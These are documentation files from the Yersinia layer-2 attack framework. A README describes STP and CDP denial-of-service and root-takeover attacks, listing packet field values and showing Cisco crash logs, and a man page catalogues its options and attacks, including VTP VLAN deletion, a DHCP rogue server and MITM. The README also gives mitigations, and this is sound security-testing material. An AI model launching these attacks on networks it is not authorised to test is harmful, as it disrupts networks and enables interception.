00:06:20: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:21: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:22: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:23: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:38: %SYS-2-MALLOCFAIL: Memory allocation of 140 bytes failed from 0x801E28BC, alignment 0 Pool: Processor Free: 0 Cause: Not enough free memory Alternate Pool: I/O Free: 32 Cause: Not enough free memory -Process= "Calhoun Statistics Process", ipl= 0, pid= 21 -Traceback= 801DFC30 801E1DD8 801E28C4 801F13BC 801F1470 802F7C90 802F9190 802F9788 801D932C 801D9318 00:06:38: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:39: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:40: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:41: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:42: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:44: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:45: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:46: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:47: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:48: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:49: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:50: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:59: %SYS-3-CPUHOG: Task ran for 2076 msec (11/10), process = Net Background, PC = 801ABD40. -Traceback= 801ABD48 801D932C 801D9318 And then, the CDP process is totally down, even when we stop the attack. No more CDP babies...
Markdown
yersinia/README.md
[![Build Status](https://travis-ci.org/tomac/yersinia.svg?branch=master)](https://travis-ci.org/tomac/yersinia) Spanning Tree ------------- # 1: DOS attack sending conf BPDUs Let's send some conf BPDUs claiming be root!!! By sending continously conf BPDU with root pathcost 0, randomly generated bridge id (and therefore the same root id), and some default values for other fields, we try to annoy the switches close to us, causing a DoS when trying to parse and recalculate their STP engines. Source MAC: randomly generated. Destination MAC: 01:80:c2:00:00:00 Bridge ID: 8000:source_mac Root ID: 8000:source_mac Hello time: 2 Forward delay: 15 Max age: 20 Root pathcost: 0 <output from the cisco log> 01:20:26: STP: VLAN0001 heard root 32768-d1bf.6d60.097b on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-9ac6.0f72.7118 on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-85a3.3662.43dc on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-3d84.bc1c.918e on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-b2e2.1a12.dbb4 on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-4ba6.2d45.5844 on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-deb0.4f14.7288 on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-4879.8036.0e24 on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-2776.e340.9222 on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-299e.de76.c07d on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-d38b.bc5b.e90d on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-78ee.0205.afdb on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-b32b.e969.81b1 on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-b16b.c428.88a3 on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-dd01.1436.9044 on Fa0/8 </output> # 2: DOS attack sending tcn BPDUs This attack sends continously tcn BPDUs causing the root switch to send conf BPDUs acknowledging the change. Besides, the root switch will send topology change notifications to the members of the tree, and they will have to recalculate their STP engine to learn the new change. Source MAC: randomly generated. Destination MAC: 01:80:c2:00:00:00 <output from the cisco log> 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 </output> # 3: NONDOS attack Claiming Root Role Now our aim is to get the root role of the tree. How can we accomplish this issue? Just listening to the network to find out which one is the root role, and start sending conf BPDU with lower priority to become root. Source MAC: same one as the sniffed BPDU. Destination MAC: same one as the sniffed BPDU. Bridge ID: the sniffed one slightly modified to have a lower priority Root ID: 8000: same as bridge id. Hello time: same one as the sniffed BPDU. Forward delay: same one as the sniffed BPDU. Max age: same one as the sniffed BPDU. Root pathcost: same one as the sniffed BPDU. <output from the cisco log> 01:58:48: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/8 01:58:48: supersedes 32769-000e.84d5.2280 01:58:48: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/8, cost 19 </output> # 4 NONDOS attack Claiming a non-root role We pretend to be another weird switch playing with STP and praising our root id :) # 5 DOS attack causing eternal root elections By sending config BPDUs autodecrementing their priority, we can cause infinite root elections in the STP tree. It would be something similar to recount the election's votes to determine the winner (do you remember Florida?) <output from the cisco log> 00:20:21: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/9 00:20:21: supersedes 32769-000e.84d5.2280 00:20:21: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/9, cost 19 00:20:23: STP: VLAN0001 heard root 32769-000e.84d3.2280 on Fa0/9 00:20:23: supersedes 32769-000e.84d4.2280 00:20:23: STP: VLAN0001 new root is 32769, 000e.84d3.2280 on port Fa0/9, cost 19 00:20:25: STP: VLAN0001 heard root 32769-000e.84d2.2280 on Fa0/9 00:20:25: supersedes 32769-000e.84d3.2280 00:20:25: STP: VLAN0001 new root is 32769, 000e.84d2.2280 on port Fa0/9, cost 19 00:20:27: STP: VLAN0001 heard root 32769-000e.84d1.2280 on Fa0/9 00:20:27: supersedes 32769-000e.84d2.2280 00:20:27: STP: VLAN0001 new root is 32769, 000e.84d1.2280 on port Fa0/9, cost 19 00:20:29: STP: VLAN0001 heard root 32769-000e.84d0.2280 on Fa0/9 00:20:29: supersedes 32769-000e.84d1.2280 00:20:29: STP: VLAN0001 new root is 32769, 000e.84d0.2280 on port Fa0/9, cost 19 00:20:31: STP: VLAN0001 heard root 32769-000e.84cf.2280 on Fa0/9 00:20:31: supersedes 32769-000e.84d0.2280 00:20:31: STP: VLAN0001 new root is 32769, 000e.84cf.2280 on port Fa0/9, cost 19 00:20:33: STP: VLAN0001 heard root 32769-000e.84ce.2280 on Fa0/9 00:20:33: supersedes 32769-000e.84cf.2280 00:20:33: STP: VLAN0001 new root is 32769, 000e.84ce.2280 on port Fa0/9, cost 19 00:20:35: STP: VLAN0001 heard root 32769-000e.84cd.2280 on Fa0/9 00:20:35: supersedes 32769-000e.84ce.2280 00:20:35: STP: VLAN0001 new root is 32769, 000e.84cd.2280 on port Fa0/9, cost 19 00:20:37: STP: VLAN0001 heard root 32769-000e.84cc.2280 on Fa0/9 00:20:37: supersedes 32769-000e.84cd.2280 00:20:37: STP: VLAN0001 new root is 32769, 000e.84cc.2280 on port Fa0/9, cost 19 00:20:39: STP: VLAN0001 heard root 32769-000e.84cb.2280 on Fa0/9 00:20:39: supersedes 32769-000e.84cc.2280 00:20:39: STP: VLAN0001 new root is 32769, 000e.84cb.2280 on port Fa0/9, cost 19 </output> # 6 DOS Attack causing root dissapearance This time we try to exhaust the root election proccess. We manage to become root in the STP tree, but we stop sending config BPDUs until it reaches max_age seconds (usually 20), forcing a new election proccess. <output from the cisco log> 02:02:43: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/9 02:02:43: supersedes 32769-000e.84d5.2280 02:02:43: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/9, cost 19 02:03:03: STP: VLAN0001 we are the spanning tree root 02:03:04: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/9 02:03:04: supersedes 32769-000e.84d5.2280 02:03:04: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/9, cost 19 02:03:04: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:06: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:08: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:10: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:12: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:14: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:16: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:18: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:20: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:22: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:24: STP: VLAN0001 we are the spanning tree root 02:03:24: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/9 02:03:24: supersedes 32769-000e.84d5.2280 02:03:24: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/9, cost 19 02:03:24: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:26: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:28: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:30: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:32: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:34: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:36: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:38: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:40: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:42: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:44: STP: VLAN0001 we are the spanning tree root </output> Mitigations (Cisco only) ------------------------ - Use port security and disable STP in those ports that don't require STP. For information about port security, please check the following url: http://www.cisco.com/en/US/products/hw/switches/ps628/products_configuration_guide_chapter09186a0080150bcd.html - If you are using the portfast feature in your STP configuration, enable also the BPDU guard for avoiding these attacks when the port automatically enters the forwarding state: http://www.cisco.com/warp/public/473/65.html - Use the root guard feature for avoiding rogue devices to become root: http://www.cisco.com/en/US/tech/tk389/tk621/technologies_tech_note09186a00800ae96b.shtml Further reading --------------- - Guillermo Marro's nice Master Thesis: http://seclab.cs.ucdavis.edu/papers/Marro_masters_thesis.pdf - Oleg K. Artemjev, Vladislav V. Myasnyankin. Fun with the Spanning Tree Protocol http://phrack.org/issues/61/12.html CDP --- Cisco devices have always spoken a different language to communicate among them, to tell everybody that they are alive and which nifty features they have. CDP stands for Cisco Discovery Protocol. By means of this particular language, Cisco devices set up a virtual world where everyone is happy and ther is no crime at all. Or at least it seems to be this way, since many network administrators aren't worried for CDP yet. Although some of information that can be sent in a CDP packet is still undocumented (CDP is a propietary protocol and it seems that Cisco does not want to give details about it), at least one old attack (that it is still valid) is known, and there is a public implementation (FX did it!). This attack is a DoS trying to exhaust the device memory so that it can't allocate more memory for any device process. How can we do it? Simply sending CDP packets with bogus data simulating real Cisco devices. The target device will begin to allocate memory in its CDP table to save the new neighbor information, but without knowing that it is going to have thousands or millions of new friends. Other attack implemented in the current code is the ability to set up a new virtual Cisco device that it is designated only for make a little mess, trying to confuse network administrators. Screenshot of the attack running: Output of a Cisco 2503 router: athens#sh mem Head Total(b) Used(b) Free(b) Lowest(b) Largest(b) Processor 4873C 3893444 3893444 0 0 0 I/O 400000 2097152 2097088 64 64 64 <log> %SCHED-3-THRASHING: Process thrashing on watched queue 'CDP packets' (count 57). -Process= "CDP Protocol", ipl= 6, pid= 9 -Traceback= 3159232 31594DE 3201660 %LANCE-5-COLL: Unit 0, excessive collisions. TDR=7 %SCHED-3-THRASHING: Process thrashing on watched queue 'CDP packets' (count 57). -Process= "CDP Protocol", ipl= 6, pid= 9 -Traceback= 3159232 31594DE 3201660 %SYS-2-MALLOCFAIL: Memory allocation of 100 bytes failed from 0x3201B3E, pool Processor, alignment 0 -Process= "CDP Protocol", ipl= 0, pid= 9 -Traceback= 314E8A4 314FA06 3201B46 32016C8 %SCHED-3-THRASHING: Process thrashing on watched queue 'CDP packets' (count 57). -Process= "CDP Protocol", ipl= 6, pid= 9 -Traceback= 3159232 31594DE 3201660 %SYS-2-MALLOCFAIL: Memory allocation of 100 bytes failed from 0x3201B3E, pool Processor, alignment 0 -Process= "CDP Protocol", ipl= 0, pid= 9 -Traceback= 314E8A4 314FA06 3201B46 32016C8 %SYS-2-MALLOCFAIL: Memory allocation of 100 bytes failed from 0x3201B3E, pool Processor, alignment 0 -Process= "CDP Protocol", ipl= 0, pid= 9 -Traceback= 314E8A4 314FA06 3201B46 32016C8 </log> And a couple of minutes later after killing the attack, the router surprisingly gets halted for several seconds, and then kicks you out of the terminal :) <log> %SYS-3-CPUHOG: Task ran for 16884 msec (69/69), Process = Exec, PC = 3158D42 -Traceback= 3158CEE 3158D4A 30F7330 30F742A 30FF3A4 30FEF76 30FEF1C 3116860 </log> Output of a Cisco 2950 switch: 00:06:08: %SYS-2-MALLOCFAIL: Memory allocation of 224 bytes failed from 0x800118D0, alignment 0 Pool: Processor Free: 0 Cause: Not enough free memory Alternate Pool: I/O Free: 32 Cause: Not enough free memory -Process= "CDP Protocol", ipl= 0, pid= 26 -Traceback= 801DFC30 801E1DD8 800118D8 80011218 801D932C 801D9318 00:06:08: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:09: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:10: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:11: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:12: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:13: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:14: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:15: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:16: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:17: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:18: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:19: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:20: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:21: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:22: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:23: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:38: %SYS-2-MALLOCFAIL: Memory allocation of 140 bytes failed from 0x801E28BC, alignment 0 Pool: Processor Free: 0 Cause: Not enough free memory Alternate Pool: I/O Free: 32 Cause: Not enough free memory -Process= "Calhoun Statistics Process", ipl= 0, pid= 21 -Traceback= 801DFC30 801E1DD8 801E28C4 801F13BC 801F1470 802F7C90 802F9190 802F9788 801D932C 801D9318 00:06:38: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:39: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:40: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:41: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:42: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:44: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:45: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:46: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:47: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:48: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:49: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:50: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:59: %SYS-3-CPUHOG: Task ran for 2076 msec (11/10), process = Net Background, PC = 801ABD40. -Traceback= 801ABD48 801D932C 801D9318 And then, the CDP process is totally down, even when we stop the attack. No more CDP babies...
yersinia/THANKS
Yersinia couln't have been possible without our friends support. We would like to say thanks to many people but specially to: Friends: Tino (drenaier) for his support. Jess (from jessland) for his advices and suggestions. Pablo (darkcode) for his Sparc. Misc: Ebay for allowing us to buy some routers and switches. Pizza Serranita for giving us strength. Coca-cola light (diet in US) for keeping us awake. Red Bull + Moskovskaya for clarifying our thoughts. David: Carlos (cfragoso) for his comments and SANS conferences. My friends (Palencia, CM Alcalá, S21sec) for letting me speak about yersinia mostly at 5.00 am on Friday or Saturday ;) Alfredo: Conchi, for her patience And finally, Mateo for being the future überhacker and the true center of my life. Andrew Vladimirov and colleagues: For their support and for making a 1337 book "Hacking Cisco Exposed". Web page artist: Mikel Enrique <[email protected]> Patch submitters: Alejandro Sanchez Acosta <[email protected]> Enigma Obfuscate <[email protected]> Andrej Frank <[email protected]> Additional documentation: Tarek Amr, AKA gr33ndata <[email protected]> (http://gr33ndata.blogspot.com/)
yersinia/TODO
- Verify that when deleting a node, the field user is decremented if the interface was used by that node. - VMPS attacks. Hey, we don't have VMPS in any of our little 29xx switches :( - Take into account the Trailers Ethernet field. - Use backspace in ncurses string fields. - Keep aware of 802.1Q packets with more than 1500 bytes long. - ISL attacks. Again, we don't have ISL in any of our little 29xx switches :( - Full ISL support - Fix a weird bug in CDP mode - Use TLVs with a linked list. :) - Normalize *FOR ALL PROTOCOLS* the way IPv4 addresses are stored in the tmp_data structure. - Move all ARP functions to arp.c - VRRP support - Lateral scroll in ncurses when asking for pcap file - Update show interface information - Escape when asking for something in ncurses - Remove global tty_tmp - PCAP save from multiple interfaces - A true man page!!!! GUI --- - Manage SIGWINCH - GTK GUI
yersinia/yersinia.8
.\" Man page for Yersinia .\" ===================== .\" Authors: Alfredo and David .\" .\" .\" .TH "YERSINIA" "8" "$Date: 2017/08/23 08:10:00 $" "Yersinia v0.8" "" .SH "NAME " .B Yersinia \- A Framework for layer 2 attacks .SH "SYNOPSIS " \fByersinia\fR [\fB\-hVGIDd\fR] [\fB\-l\fR \fIlogfile\fR] [\fB\-c\fR \fIconffile\fR] \fIprotocol\fR [\-M] [\fIprotocol_options\fR] .SH "DESCRIPTION " .B yersinia is a framework for performing layer 2 attacks. The following protocols have been implemented in Yersinia current version: \fISpanning Tree Protocol (STP)\fR, \fIVLAN Trunking Protocol (VTP)\fR, \fIHot Standby Router Protocol (HSRP)\fR, \fIDynamic Trunking Protocol (DTP)\fR, \fIIEEE 802.1Q\fR, \fIIEEE 802.1X\fR, \fICisco Discovery Protocol (CDP)\fR, \fIDynamic Host Configuration Protocol (DHCP)\fR, \fIInter-Switch Link Protocol (ISL)\fR and \fIMultiProtocol Label Switching (MPLS)\fR. Some of the attacks implemented will cause a DoS in a network, other will help to perform any other more advanced attack, or both. In addition, some of them will be first released to the public since there isn't any public implementation. Yersinia will definitely help both pen\-testers and network administrators in their daily tasks. Some of the mentioned attacks are \fBDoS\fP attacks, so \fBTAKE CARE\fP about what you're doing because you can convert your network into an \fBUNSTABLE\fP one. A lot of examples are given at this page \fBEXAMPLES\fP section, showing a real and useful program execution. .SH "OPTIONS " .IP "\fB\-h\fP, \fB\-\-help\fP" Help screen. .IP "\fB\-V\fP, \fB\-\-Version\fP" Program version. .IP "\fB\-G\fP" Start a graphical GTK session. .IP "\fB\-I\fP, \fB\-\-interactive\fP" Start an interactive ncurses session. .IP "\fB\-D\fP, \fB\-\-daemon\fP" Start the network listener for remote admin (Cisco CLI emulation). .IP "\fB\-d\fP" Enable debug messages. .IP "\fB\-l\fP \fIlogfile\fP" Save the current session to the file \fIlogfile\fP. If \fIlogfile\fP exists, the data will be appended at the end. .IP "\fB\-c\fP \fIconffile\fP" Read/write configuration variables from/to \fIconffile\fP. .IP "\fB\-M\fP" Disable MAC spoofing. .SH "PROTOCOLS" The following protocols are implemented in \fByersinia\fR current version: .IP "\fISpanning Tree Protocol (STP and RSTP)\fR" .IP "\fICisco Discovery Protocol (CDP)\fR" .IP "\fIHot Standby Router Protocol (HSRP)\fR" .IP "\fIDynamic Host Configuration Protocol (DHCP)\fR" .IP "\fIDynamic Trunking Protocol (DTP)\fR" .IP "\fIIEEE 802.1Q\fR" .IP "\fIVLAN Trunking Protocol (VTP)\fR" .IP "\fIInter-Switch Link Protocol (ISL)\fR" .IP "\fIIEEE 802.1X\fR" .IP "\fIMultiProtocol Label Switching (MPLS)\fR" .SH "PROTOCOLS OPTIONS" .TP \fBSpanning Tree Protocol (STP):\fR is a link management protocol that provides path redundancy while preventing undesirable loops in the network. The supported options are: .IP "\fB\-version\fR \fIversion\fR BPDU version (0 STP, 2 RSTP, 3 MSTP) .IP "\fB\-type\fR \fItype\fR" BPDU type (Configuration, TCN) .IP "\fB\-flags\fR \fIflags\fR" BPDU Flags .IP "\fB\-id\fR \fIid\fR" BPDU ID .IP "\fB\-cost\fR \fIpathcost\fR" BPDU root path cost .IP "\fB\-rootid\fR \fIid\fR" BPDU Root ID .IP "\fB\-bridgeid\fR \fIid\fR" BPDU Bridge ID .IP "\fB\-portid\fR \fIid\fR" BPDU Port ID .IP "\fB\-message\fR \fIsecs\fR" BPDU Message Age .IP "\fB\-max-age\fR \fIsecs\fR" BPDU Max Age (default is 20) .IP "\fB\-hello\fR \fIsecs\fR" BPDU Hello Time (default is 2) .IP "\fB\-forward\fR \fIsecs\fR" BPDU Forward Delay .IP "\fB\-source\fR \fIhw_addr\fR" Source MAC address .IP "\fB\-dest\fR \fIhw_addr\fR" Destination MAC address .IP "\fB\-interface\fR \fIiface\fR" Set network interface to use .IP "\fB\-attack\fR \fIattack\fR" Attack to launch .TP \fBCisco Discovery Protocol (CDP):\fR is a Cisco propietary Protocol which main aim is to let Cisco devices to communicate to each other about their device settings and protocol configurations. The supported options are: .IP "\fB\-source\fR \fIhw_addr\fR" MAC Source Address .IP "\fB\-dest\fR \fIhw_addr\fR" MAC Destination Address .IP "\fB\-v\fR \fIversion\fR" CDP Version .IP "\fB\-ttl\fR \fIttl\fR" Time To Live .IP "\fB\-devid\fR \fIid\fR" Device ID .IP "\fB\-address\fR \fIaddress\fR" Device Address .IP "\fB\-port\fR \fIid\fR" Device Port .IP "\fB\-capability\fR \fIcap\fR" Device Capabilities .IP "\fB\-version\fR \fIversion\fR" Device IOS Version .IP "\fB\-duplex\fR \fI0|1\fR" Device Duplex Configuration .IP "\fB\-platform\fR \fIplatform\fR" Device Platform .IP "\fB\-ipprefix\fR \fIip\fR" Device IP Prefix .IP "\fB\-phello\fR \fIhello\fR" Device Protocol Hello .IP "\fB\-mtu\fR \fImtu\fR" Device MTU .IP "\fB\-vtp_mgm_dom\fR \fIdomain\fR" Device VTP Management Domain .IP "\fB\-native_vlan\fR \fIvlan\fR" Device Native VLAN .IP "\fB\-voip_vlan_r\fR \fIreq\fR" Device VoIP VLAN Reply .IP "\fB\-voip_vlan_q\fR \fIquery\fR" Device VoIP VLAN Query .IP "\fB\-t_bitmap\fR \fIbitmap\fR" Device Trust Bitmap .IP "\fB\-untrust_cos\fR \fIcos\fR" Device Untrusted CoS .IP "\fB\-system_name\fR \fIname\fR" Device System Name .IP "\fB\-system_oid\fR \fIoid\fR" Device System ObjectID .IP "\fB\-mgm_address\fR \fIaddress\fR" Device Management Address .IP "\fB\-location\fR \fIlocation\fR" Device Location .IP "\fB\-attack\fR \fIattack\fR" Attack to launch .TP \fBHot Standby Router Protocol (HSRP):\fR .IP "\fB\-source\fR \fIhw_addr\fR" Source MAC address .IP "\fB\-dest\fR \fIhw_addr\fR" Destination MAC address .IP "\fB\-interface\fR \fIiface\fR" Set network interface to use .IP "\fB\-attack\fR \fIattack\fR" Attack to launch .TP \fBInter-Switch Link Protocol (ISL):\fR .IP "\fB\-source\fR \fIhw_addr\fR" Source MAC address .IP "\fB\-dest\fR \fIhw_addr\fR" Destination MAC address .IP "\fB\-interface\fR \fIiface\fR" Set network interface to use .IP "\fB\-attack\fR \fIattack\fR" Attack to launch .TP \fBVLAN Trunking Protocol (VTP):\fR .IP "\fB\-source\fR \fIhw_addr\fR" Source MAC address .IP "\fB\-dest\fR \fIhw_addr\fR" Destination MAC address .IP "\fB\-interface\fR \fIiface\fR" Set network interface to use .IP "\fB\-attack\fR \fIattack\fR" Attack to launch .TP \fBDynamic Host Configuration Protocol (DHCP):\fR .IP "\fB\-source\fR \fIhw_addr\fR" Source MAC address .IP "\fB\-dest\fR \fIhw_addr\fR" Destination MAC address .IP "\fB\-interface\fR \fIiface\fR" Set network interface to use .IP "\fB\-attack\fR \fIattack\fR" Attack to launch .TP \fBIEEE 802.1Q:\fR .IP "\fB\-source\fR \fIhw_addr\fR" Source MAC address .IP "\fB\-dest\fR \fIhw_addr\fR" Destination MAC address .IP "\fB\-interface\fR \fIiface\fR" Set network interface to use .IP "\fB\-attack\fR \fIattack\fR" Attack to launch .TP \fBDynamic Trunking Protocol (DTP):\fR .IP "\fB\-source\fR \fIhw_addr\fR" Source MAC address .IP "\fB\-dest\fR \fIhw_addr\fR" Destination MAC address .IP "\fB\-interface\fR \fIiface\fR" Set network interface to use .IP "\fB\-attack\fR \fIattack\fR" Attack to launch .TP \fBIEEE 802.1X:\fR .IP "\fB\-version\fR \fIarg\fR" Version .IP "\fB\-type\fR \fIarg\fR" xxxx .IP "\fB\-eapcode\fR \fIarg\fR" xxxx .IP "\fB\-eapid\fR \fIarg\fR" xxxx .IP "\fB\-eaptype\fR \fIarg\fR" xxxx .IP "\fB\-eapinfo\fR \fIarg\fR" xxx .IP "\fB\-interface\fR \fIarg\fR" xxxx .IP "\fB\-source\fR \fIhw_addr\fR" Source MAC address .IP "\fB\-dest\fR \fIhw_addr\fR" Destination MAC address .IP "\fB\-interface\fR \fIiface\fR" Set network interface to use .IP "\fB\-attack\fR \fIattack\fR" Attack to launch .TP \fBMultiProtocol Label Switching (MPLS):\fR .IP "\fB\-source\fR \fIhw_addr\fR" Source MAC address .IP "\fB\-dest\fR \fIhw_addr\fR" Destination MAC address .IP "\fB\-interface\fR \fIiface\fR" Set network interface to use .IP "\fB\-attack\fR \fIattack\fR" Attack to launch .IP "\fB\-label1\fR \fIarg\fR" Set MPLS Label .IP "\fB\-exp1\fR \fIarg\fR" Set MPLS Experimental bits .IP "\fB\-bottom1\fR \fIarg\fR" Set MPLS Bottom Of Stack flag .IP "\fB\-ttl1\fR \fIarg\fR" Set MPLS Time To Live .IP "\fB\-label2\fR \fIarg\fR" Set MPLS Label (second header) .IP "\fB\-exp2\fR \fIarg\fR" Set MPLS Experimental bits (second header) .IP "\fB\-bottom2\fR \fIarg\fR" Set MPLS Bottom Of Stack flag (second header) .IP "\fB\-ttl2\fR \fIarg\fR" Set MPLS Time To Live (second header) .IP "\fB\-ipsource\fR \fIipv4\fR" Source IP .IP "\fB\-portsource\fR \fIport\fR" Source TCP/UDP port .IP "\fB\-ipdest\fR \fIipv4\fR" Destination IP .IP "\fB\-portdest\fR \fIport\fR" Destination TCP/UDP port .IP "\fB\-payload\fR \fIASCII\fR" ASCII IP payload .SH "ATTACKS" .TP \fBAttacks Implemented in STP:\fR .IP " 0: NONDOS attack sending conf BPDU" .IP " 1: NONDOS attack sending tcn BPDU" .IP " 2: DOS attack sending conf BPDUs" .IP " 3: DOS attack sending tcn BPDUs" .IP " 4: NONDOS attack Claiming Root Role" .IP " 5: NONDOS attack Claiming Other Role" .IP " 6: DOS attack Claiming Root Role with MiTM" .TP \fBAttacks Implemented in CDP:\fR .IP " 0: NONDOS attack sending CDP packet" .IP " 1: DOS attack flooding CDP table" .IP " 2: NONDOS attack Setting up a virtual device" .TP \fBAttacks Implemented in HSRP:\fR .IP " 0: NONDOS attack sending raw HSRP packet" .IP " 1: NONDOS attack becoming ACTIVE router" .IP " 2: NONDOS attack becoming ACTIVE router (MITM)" .TP \fBAttacks Implemented in DHCP:\fR .IP " 0: NONDOS attack sending RAW packet" .IP " 1: DOS attack sending DISCOVER packet" .IP " 2: NONDOS attack creating DHCP rogue server" .IP " 3: DOS attack sending RELEASE packet" .TP \fBAttacks Implemented in DTP:\fR .IP " 0: NONDOS attack sending DTP packet" .IP " 1: NONDOS attack enabling trunking" .TP \fBAttacks Implemented in 802.1Q:\fR .IP " 0: NONDOS attack sending 802.1Q packet" .IP " 1: NONDOS attack sending 802.1Q double enc. packet" .IP " 2: DOS attack sending 802.1Q arp poisoning" .TP \fBAttacks Implemented in VTP:\fR .IP " 0: NONDOS attack sending VTP packet" .IP " 1: DOS attack deleting all VTP vlans" .IP " 2: DOS attack deleting one vlan" .IP " 3: NONDOS attack adding one vlan" .IP " 4: DOS attack crashing Catalyst" .TP \fBAttacks Implemented in 802.1X:\fR .IP " 0: NONDOS attack sending 802.1X packet" .IP " 1: NONDOS attack Mitm 802.1X with 2 interfaces" .TP \fBAttacks Implemented in MPLS:\fR .IP " 0: NONDOS attack sending TCP MPLS packet" .IP " 1: NONDOS attack sending TCP MPLS with double header" .IP " 2: NONDOS attack sending UDP MPLS packet" .IP " 3: NONDOS attack sending UDP MPLS with double header" .IP " 4: NONDOS attack sending ICMP MPLS packet" 